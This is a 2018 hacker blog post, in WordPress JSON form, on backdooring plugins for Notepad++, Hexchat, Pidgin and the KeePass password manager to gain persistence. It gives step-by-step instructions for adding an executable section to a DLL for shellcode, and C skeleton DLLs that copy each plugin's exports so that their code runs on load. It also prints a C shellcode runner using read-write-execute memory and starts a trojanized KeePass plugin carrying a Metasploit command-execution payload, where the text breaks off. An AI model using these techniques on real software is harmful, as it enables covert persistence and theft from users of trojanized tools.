{"id":1527,"date":"2018-03-31T11:31:08","date_gmt":"2018-03-31T11:31:08","guid":{"rendered":"http:\/\/www.gironsec.com\/blog\/?p=1527"},"modified":"2018-03-31T11:31:08","modified_gmt":"2018-03-31T11:31:08","slug":"backdooring-plugins","status":"publish","type":"post","link":"https:\/\/www.gironsec.com\/blog\/2018\/03\/backdooring-plugins\/","title":{"rendered":"Backdooring Plugins"},"content":{"rendered":"<p>I had this thought speaking with fellow hacker friendos at 2600. Alternative ways to persist. Why not backdoor some popular programs? Sure why not?<\/p>\n<p>Today let&#8217;s scope in on backdooring some plugins for popular software. I will be covering a bunch of other programs, mainly stuff already on my computer. <\/p>\n<p>First plugin to backdoor will be for <a href=\"https:\/\/notepad-plus-plus.org\/\" target=\"_blank\">Notepad++<\/a><br \/>\nI&#8217;ve decided to backdoor &#8216;mimeTools.dll&#8217; because reasons. I don&#8217;t know, it was there and looked nice.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/1520615977191.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/1520615977191.png\" alt=\"\" width=\"701\" height=\"679\" class=\"alignnone size-full wp-image-1536\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/1520615977191.png 701w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/1520615977191-300x291.png 300w\" sizes=\"(max-width: 701px) 100vw, 701px\" \/><\/a><\/p>\n<p>Since I&#8217;m hardcore, I will be backdooring this DLL with straight assembly. Sure I could just download a plugin template or something and compile, but where&#8217;s the fun in that? If you&#8217;re going to add code to an exe, it would be a good idea to have a place to put it. Our shellcode for a backdoor is about 251 bytes.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/seh.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/seh.png\" alt=\"\" width=\"691\" height=\"266\" class=\"alignnone size-full wp-image-1537\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/seh.png 691w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/seh-300x115.png 300w\" sizes=\"(max-width: 691px) 100vw, 691px\" \/><\/a><br \/>\nThis means we need a cave of 251 bytes or greater or we need to add a new section to the DLL. I&#8217;m going with the latter. You could try and modify the flags on an existing section, but that shit never works. Easier to just add a new section. Recall from previous postings, we add a section via the use of &#8216;Cff Explorer&#8217;. All I&#8217;m doing here is adding a new section with and filling it with a file. I used a jpeg or something. After that we rebuild the PE header and save. Oh and don&#8217;t forget to set the section flags for &#8216;executable&#8217; and &#8216;contains code&#8217; otherwise when we jump it wont run. I chose an appropriate name too.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/mimetools_pic.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/mimetools_pic-1024x642.png\" alt=\"\" width=\"640\" height=\"401\" class=\"alignnone size-large wp-image-1538\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/mimetools_pic-1024x642.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/mimetools_pic-300x188.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/mimetools_pic-768x481.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/mimetools_pic.png 1435w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/a><\/p>\n<p>Opening the dll in IDA reveals our new code section is there and at what address. We&#8217;ll need this address when we open the dll in our debugger so that we can perform our long jump and paste \/ save our backdoor shellcode assembly. Again, I&#8217;ve <a href=\"https:\/\/www.gironsec.com\/blog\/2016\/06\/backdooring-a-dll\/\" rel=\"noopener\" target=\"_blank\">covered this before<\/a> I think so if you&#8217;re lost, follow that guide.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/yay.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/yay-1024x550.png\" alt=\"\" width=\"640\" height=\"344\" class=\"alignnone size-large wp-image-1539\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/yay-1024x550.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/yay-300x161.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/yay-768x412.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/yay.png 1920w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/a><\/p>\n<p>Now all that&#8217;s left to do is drag and drop the modified dll into the plugins folder for notepad++ and run the thing. Low and behold!<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/notepadplusplus.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/notepadplusplus.png\" alt=\"\" width=\"981\" height=\"766\" class=\"alignnone size-full wp-image-1540\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/notepadplusplus.png 981w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/notepadplusplus-300x234.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/notepadplusplus-768x600.png 768w\" sizes=\"(max-width: 981px) 100vw, 981px\" \/><\/a><br \/>\nNotepad++ runs after you click &#8216;ok&#8217; but imagine that being code to call home or something.<br \/>\nIf editing raw dll&#8217;s aint your thing, then maybe consider just writing a skeleton dll file and making sure it&#8217;s up to code for notepad++?<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/damn2.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/damn2-1024x574.png\" alt=\"\" width=\"640\" height=\"359\" class=\"alignnone size-large wp-image-1541\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/damn2-1024x574.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/damn2-300x168.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/damn2-768x430.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/damn2.png 1927w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/a><br \/>\nThey aren&#8217;t particularly picky, just need to export some entries &#8216;IsUnicode&#8217;,&#8217;setInfo&#8217;,&#8217;getName&#8217;,&#8217;getFuncsArray&#8217;,&#8217;beNotified&#8217;, and &#8216;messageProc&#8217;. Without those entries, notepad++ just complains and won&#8217;t run your code:<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/damn.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/damn.png\" alt=\"\" width=\"542\" height=\"282\" class=\"alignnone size-full wp-image-1542\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/damn.png 542w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/damn-300x156.png 300w\" sizes=\"(max-width: 542px) 100vw, 542px\" \/><\/a><\/p>\n<p>Yay, the first one is done. We have more stuff to hack though! What else can I hack? I run Hexchat for my IRC (real hackers use IRC bro). <\/p>\n<p>First, a cursory look at a sample plugin in hexchat is quite revealing.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/hexchat.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/hexchat-1024x574.png\" alt=\"\" width=\"640\" height=\"359\" class=\"alignnone size-large wp-image-1545\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/hexchat-1024x574.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/hexchat-300x168.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/hexchat-768x430.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/hexchat.png 1927w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/a><br \/>\nOnly a few exported entries. Following the documentation reveals that if we just copy those exports, we should be good. Its like I didn&#8217;t even need to look.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/hexchat2.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/hexchat2.png\" alt=\"\" width=\"956\" height=\"801\" class=\"alignnone size-full wp-image-1546\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/hexchat2.png 956w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/hexchat2-300x251.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/hexchat2-768x643.png 768w\" sizes=\"(max-width: 956px) 100vw, 956px\" \/><\/a><\/p>\n<p>This time we&#8217;re going to just use a skeleton dll file. By mimicking the export entries of another plugin, we can force our code to be run. Here is a simple skeleton dll in C:<br \/>\n<!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #557799\">#include &lt;windows.h&gt;<\/span>\r\nBOOL APIENTRY <span style=\"color: #0066BB; font-weight: bold\">DllMain<\/span>(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol)\r\n{\r\n    <span style=\"color: #008800; font-weight: bold\">switch<\/span> (ul_reason_for_call)\r\n    {\r\n    <span style=\"color: #008800; font-weight: bold\">case<\/span> DLL_PROCESS_ATTACH:\r\n\t\t{\r\n\t\t\tMessageBoxW(<span style=\"color: #007020\">NULL<\/span>,<span style=\"background-color: #fff0f0\">L&quot;kek&quot;<\/span>,<span style=\"background-color: #fff0f0\">L&quot;wek&quot;<\/span>,MB_OK);\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">break<\/span>;\r\n\t\t}\r\n\t<span style=\"color: #008800; font-weight: bold\">case<\/span> DLL_THREAD_ATTACH:\r\n\t<span style=\"color: #008800; font-weight: bold\">case<\/span> DLL_THREAD_DETACH:\r\n    <span style=\"color: #008800; font-weight: bold\">case<\/span> DLL_PROCESS_DETACH:\r\n        <span style=\"color: #008800; font-weight: bold\">break<\/span>;\r\n    }\r\n    <span style=\"color: #008800; font-weight: bold\">return<\/span> TRUE;\r\n}\r\n<span style=\"color: #008800; font-weight: bold\">extern<\/span> <span style=\"color: #0066BB; font-weight: bold\">__declspec<\/span>(dllexport) <span style=\"color: #333399; font-weight: bold\">void<\/span> hexchat_plugin_init(<span style=\"color: #333399; font-weight: bold\">void<\/span>)\r\n{\r\n\tMessageBoxW(<span style=\"color: #007020\">NULL<\/span>,<span style=\"background-color: #fff0f0\">L&quot;Herro Mr hexchat 1&quot;<\/span>,<span style=\"background-color: #fff0f0\">L&quot;joe&quot;<\/span>,MB_OK);\r\n    <span style=\"color: #008800; font-weight: bold\">return<\/span>;\r\n}\r\n<span style=\"color: #008800; font-weight: bold\">extern<\/span> <span style=\"color: #0066BB; font-weight: bold\">__declspec<\/span>(dllexport) <span style=\"color: #333399; font-weight: bold\">void<\/span> hexchat_plugin_deinit(<span style=\"color: #333399; font-weight: bold\">void<\/span>)\r\n{\r\n\tMessageBoxW(<span style=\"color: #007020\">NULL<\/span>,<span style=\"background-color: #fff0f0\">L&quot;Herro Mr hexchat 2&quot;<\/span>,<span style=\"background-color: #fff0f0\">L&quot;joe&quot;<\/span>,MB_OK);\r\n    <span style=\"color: #008800; font-weight: bold\">return<\/span>;\r\n}\r\n<span style=\"color: #008800; font-weight: bold\">extern<\/span> <span style=\"color: #0066BB; font-weight: bold\">__declspec<\/span>(dllexport) <span style=\"color: #333399; font-weight: bold\">void<\/span> hexchat_plugin_get_info(<span style=\"color: #333399; font-weight: bold\">void<\/span>)\r\n{\r\n\tMessageBoxW(<span style=\"color: #007020\">NULL<\/span>,<span style=\"background-color: #fff0f0\">L&quot;Herro Mr hexchat 3&quot;<\/span>,<span style=\"background-color: #fff0f0\">L&quot;joe&quot;<\/span>,MB_OK);\r\n    <span style=\"color: #008800; font-weight: bold\">return<\/span>;\r\n}\r\n<\/pre>\n<\/div>\n<p>Why C? because it&#8217;s easy as hell to throw our shellcode inside, duhh.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/1519943922350.jpg\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/1519943922350.jpg\" alt=\"\" width=\"645\" height=\"729\" class=\"alignnone size-full wp-image-1544\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/1519943922350.jpg 645w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/1519943922350-265x300.jpg 265w\" sizes=\"(max-width: 645px) 100vw, 645px\" \/><\/a><\/p>\n<p>For those who forget, it&#8217;s like 3 lines of code to run shellcode in C.<br \/>\n<!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #557799\">#include &lt;stdio.h&gt;<\/span>\r\n<span style=\"color: #557799\">#include &lt;windows.h&gt;<\/span>\r\n<span style=\"color: #333399; font-weight: bold\">int<\/span> <span style=\"color: #0066BB; font-weight: bold\">main<\/span>(<span style=\"color: #333399; font-weight: bold\">void<\/span>)\r\n{\r\n    <span style=\"color: #333399; font-weight: bold\">char<\/span> shellcode[] <span style=\"color: #333333\">=<\/span> <span style=\"background-color: #fff0f0\">&quot;<\/span><span style=\"color: #666666; font-weight: bold; background-color: #fff0f0\">\\x90\\x90\\x90<\/span><span style=\"background-color: #fff0f0\">&quot;<\/span>;\r\n    <span style=\"color: #333399; font-weight: bold\">void<\/span> <span style=\"color: #333333\">*<\/span>exec <span style=\"color: #333333\">=<\/span> VirtualAlloc(<span style=\"color: #0000DD; font-weight: bold\">0<\/span>, <span style=\"color: #008800; font-weight: bold\">sizeof<\/span> shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n    memcpy(exec, shellcode, <span style=\"color: #008800; font-weight: bold\">sizeof<\/span> shellcode);\r\n    ((<span style=\"color: #333399; font-weight: bold\">void<\/span>(<span style=\"color: #333333\">*<\/span>)())exec)();\r\n    <span style=\"color: #008800; font-weight: bold\">return<\/span> <span style=\"color: #0000DD; font-weight: bold\">0<\/span>;\r\n}\r\n<\/pre>\n<\/div>\n<p>Anyways, I compile the thing as a 64 bit dll and drag + drop the thing into my plugins folder (conveniently in the user profile folder, sans protections). It looks as though the contents of dllmain&#8217;s DLL_PROCESS_ATTACH area is hit first.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/hexchat5.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/hexchat5-1024x851.png\" alt=\"\" width=\"640\" height=\"532\" class=\"alignnone size-large wp-image-1547\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/hexchat5-1024x851.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/hexchat5-300x249.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/hexchat5-768x638.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/hexchat5.png 1173w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/a><br \/>\nNext it launched the plugin init. Please visit me on IRC some time.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/hexchat4.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/hexchat4.png\" alt=\"\" width=\"934\" height=\"383\" class=\"alignnone size-full wp-image-1548\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/hexchat4.png 934w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/hexchat4-300x123.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/hexchat4-768x315.png 768w\" sizes=\"(max-width: 934px) 100vw, 934px\" \/><\/a><\/p>\n<p>Great! Now let&#8217;s move on shall we? I use Pidgin instant messenger still. We can totally backdoor that!<br \/>\nStep 1: look at exported dll entries:<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/pidgin_plugin.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/pidgin_plugin-1024x586.png\" alt=\"\" width=\"640\" height=\"366\" class=\"alignnone size-large wp-image-1549\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/pidgin_plugin-1024x586.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/pidgin_plugin-300x172.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/pidgin_plugin-768x439.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/pidgin_plugin.png 1065w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/a><br \/>\nStep 2: Throw entries into skeleton dll. Mind the TLS callbacks. I&#8217;ll cover <i>those<\/i> in another blog post maybe. Nifty stuff.<br \/>\n<!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #557799\">#include &lt;windows.h&gt;<\/span>\r\nBOOL APIENTRY <span style=\"color: #0066BB; font-weight: bold\">DllMain<\/span>(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol)\r\n{\r\n    <span style=\"color: #008800; font-weight: bold\">switch<\/span> (ul_reason_for_call)\r\n    {\r\n    <span style=\"color: #008800; font-weight: bold\">case<\/span> DLL_PROCESS_ATTACH:\r\n\t\t{\r\n\t\t\tMessageBoxW(<span style=\"color: #007020\">NULL<\/span>,<span style=\"background-color: #fff0f0\">L&quot;kek&quot;<\/span>,<span style=\"background-color: #fff0f0\">L&quot;wek&quot;<\/span>,MB_OK);\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">break<\/span>;\r\n\t\t}\r\n\t<span style=\"color: #008800; font-weight: bold\">case<\/span> DLL_THREAD_ATTACH:\r\n    <span style=\"color: #008800; font-weight: bold\">case<\/span> DLL_THREAD_DETACH:\r\n    <span style=\"color: #008800; font-weight: bold\">case<\/span> DLL_PROCESS_DETACH:\r\n        <span style=\"color: #008800; font-weight: bold\">break<\/span>;\r\n    }\r\n    <span style=\"color: #008800; font-weight: bold\">return<\/span> TRUE;\r\n}\r\n<span style=\"color: #008800; font-weight: bold\">extern<\/span> <span style=\"color: #0066BB; font-weight: bold\">__declspec<\/span>(dllexport) <span style=\"color: #333399; font-weight: bold\">int<\/span> purple_init_plugin(<span style=\"color: #333399; font-weight: bold\">char<\/span> <span style=\"color: #333333\">*<\/span>filler, <span style=\"color: #333399; font-weight: bold\">int<\/span> filler2)\r\n{\r\n\tMessageBoxW(<span style=\"color: #007020\">NULL<\/span>,<span style=\"background-color: #fff0f0\">L&quot;Herro Mr Pidgin&quot;<\/span>,<span style=\"background-color: #fff0f0\">L&quot;joe&quot;<\/span>,MB_OK);\r\n    <span style=\"color: #008800; font-weight: bold\">return<\/span> <span style=\"color: #0000DD; font-weight: bold\">1<\/span>;\r\n}\r\n<\/pre>\n<\/div>\n<p>Step 3: Place in user profile folder and wait for load. Again, the code within DLL_PROCESS_ATTACH is run. The plugin initialization seems to only be a formality.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/pidgin_plugin2.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/pidgin_plugin2.png\" alt=\"\" width=\"1004\" height=\"487\" class=\"alignnone size-full wp-image-1550\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/pidgin_plugin2.png 1004w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/pidgin_plugin2-300x146.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/pidgin_plugin2-768x373.png 768w\" sizes=\"(max-width: 1004px) 100vw, 1004px\" \/><\/a><br \/>\nStep 4: ????????????<br \/>\nStep 5: Profit!<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/1520367586787.gif\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/1520367586787.gif\" alt=\"\" width=\"256\" height=\"192\" class=\"alignnone size-full wp-image-1551\" \/><\/a><\/p>\n<p>How about something scary? Let&#8217;s backdoor Keepass! It&#8217;s slightly different than what I&#8217;m presently doing because Keepass is .NET instead of the normal native assembly code I&#8217;ve been coding. No matter. C# is ez. Recall <a href=\"https:\/\/www.gironsec.com\/blog\/2016\/09\/backdooring-a-dll-part-4\/\" rel=\"noopener\" target=\"_blank\">I&#8217;ve covered this before<\/a>. Since I&#8217;m compiling the thing from source, I don&#8217;t need to re-invent the wheel. Anywho, I&#8217;ve decided to &#8220;borrow&#8221; someone else&#8217;s project. That way i can just add my evil code and compile. This one is called &#8216;QualityColumn&#8217;. Any old plugin would have sufficed.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/qualitycolumn.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/qualitycolumn.png\" alt=\"\" width=\"989\" height=\"240\" class=\"alignnone size-full wp-image-1553\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/qualitycolumn.png 989w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/qualitycolumn-300x73.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2018\/03\/qualitycolumn-768x186.png 768w\" sizes=\"(max-width: 989px) 100vw, 989px\" \/><\/a><\/p>\n<p>Now for the code:<\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #888888\">\/*<\/span>\r\n<span style=\"color: #888888\">  KeePass QualityColumn Plugin<\/span>\r\n<span style=\"color: #888888\">  Copyright (C) 2010-2014 Dominik Reichl &lt;dominik.reichl@t-online.de&gt;<\/span>\r\n\r\n<span style=\"color: #888888\">  This program is free software; you can redistribute it and\/or modify<\/span>\r\n<span style=\"color: #888888\">  it under the terms of the GNU General Public License as published by<\/span>\r\n<span style=\"color: #888888\">  the Free Software Foundation; either version 2 of the License, or<\/span>\r\n<span style=\"color: #888888\">  (at your option) any later version.<\/span>\r\n\r\n<span style=\"color: #888888\">  This program is distributed in the hope that it will be useful,<\/span>\r\n<span style=\"color: #888888\">  but WITHOUT ANY WARRANTY; without even the implied warranty of<\/span>\r\n<span style=\"color: #888888\">  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the<\/span>\r\n<span style=\"color: #888888\">  GNU General Public License for more details.<\/span>\r\n\r\n<span style=\"color: #888888\">  You should have received a copy of the GNU General Public License<\/span>\r\n<span style=\"color: #888888\">  along with this program; if not, write to the Free Software<\/span>\r\n<span style=\"color: #888888\">  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA<\/span>\r\n<span style=\"color: #888888\">*\/<\/span>\r\n\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.Collections.Generic<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.Text<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.Windows.Forms<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.Diagnostics<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.Runtime.InteropServices<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">KeePass.Forms<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">KeePass.Plugins<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">KeePass.UI<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">KeePass.Util.Spr<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">KeePassLib<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">KeePassLib.Cryptography<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">KeePassLib.Utility<\/span>;\r\n\r\n<span style=\"color: #008800; font-weight: bold\">namespace<\/span> <span style=\"color: #0e84b5; font-weight: bold\">QualityColumn<\/span>\r\n{\r\n\t<span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">sealed<\/span> <span style=\"color: #008800; font-weight: bold\">class<\/span> <span style=\"color: #BB0066; font-weight: bold\">QualityColumnExt<\/span> : Plugin\r\n\t{\r\n<span style=\"color: #0000CC\">\t\t[Flags]<\/span>\r\n        <span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">enum<\/span> AllocationType\r\n        {\r\n            Commit = <span style=\"color: #6600EE; font-weight: bold\">4096<\/span>,\r\n            Reserve = <span style=\"color: #6600EE; font-weight: bold\">8192<\/span>,\r\n            Decommit = <span style=\"color: #6600EE; font-weight: bold\">16384<\/span>,\r\n            Release = <span style=\"color: #6600EE; font-weight: bold\">32768<\/span>,\r\n            Reset = <span style=\"color: #6600EE; font-weight: bold\">524288<\/span>,\r\n            Physical = <span style=\"color: #6600EE; font-weight: bold\">4194304<\/span>,\r\n            TopDown = <span style=\"color: #6600EE; font-weight: bold\">1048576<\/span>,\r\n            WriteWatch = <span style=\"color: #6600EE; font-weight: bold\">2097152<\/span>,\r\n            LargePages = <span style=\"color: #6600EE; font-weight: bold\">536870912<\/span>\r\n        }\r\n<span style=\"color: #0000CC\">\t\t[Flags]<\/span>\r\n        <span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">enum<\/span> AllocationProtect : <span style=\"color: #333399; font-weight: bold\">uint<\/span>\r\n        {\r\n            PAGE_NOACCESS = <span style=\"color: #6600EE; font-weight: bold\">1<\/span>u,\r\n            PAGE_READONLY,\r\n            PAGE_READWRITE = <span style=\"color: #6600EE; font-weight: bold\">4<\/span>u,\r\n            PAGE_WRITECOPY = <span style=\"color: #6600EE; font-weight: bold\">8<\/span>u,\r\n            PAGE_EXECUTE = <span style=\"color: #6600EE; font-weight: bold\">16<\/span>u,\r\n            PAGE_EXECUTE_READ = <span style=\"color: #6600EE; font-weight: bold\">32<\/span>u,\r\n            PAGE_EXECUTE_READWRITE = <span style=\"color: #6600EE; font-weight: bold\">64<\/span>u,\r\n            PAGE_EXECUTE_WRITECOPY = <span style=\"color: #6600EE; font-weight: bold\">128<\/span>u,\r\n            PAGE_GUARD = <span style=\"color: #6600EE; font-weight: bold\">256<\/span>u,\r\n            PAGE_NOCACHE = <span style=\"color: #6600EE; font-weight: bold\">512<\/span>u,\r\n            PAGE_WRITECOMBINE = <span style=\"color: #6600EE; font-weight: bold\">1024<\/span>u\r\n        }\r\n\r\n<span style=\"color: #888888\">\/*<\/span>\r\n<span style=\"color: #888888\"> * windows\/x64\/exec - 275 bytes<\/span>\r\n<span style=\"color: #888888\"> * http:\/\/www.metasploit.com<\/span>\r\n<span style=\"color: #888888\"> * VERBOSE=false, PrependMigrate=false, EXITFUNC=none,<\/span>\r\n<span style=\"color: #888888\"> * CMD=cmd.exe<\/span>\r\n<span style=\"color: #888888\"> 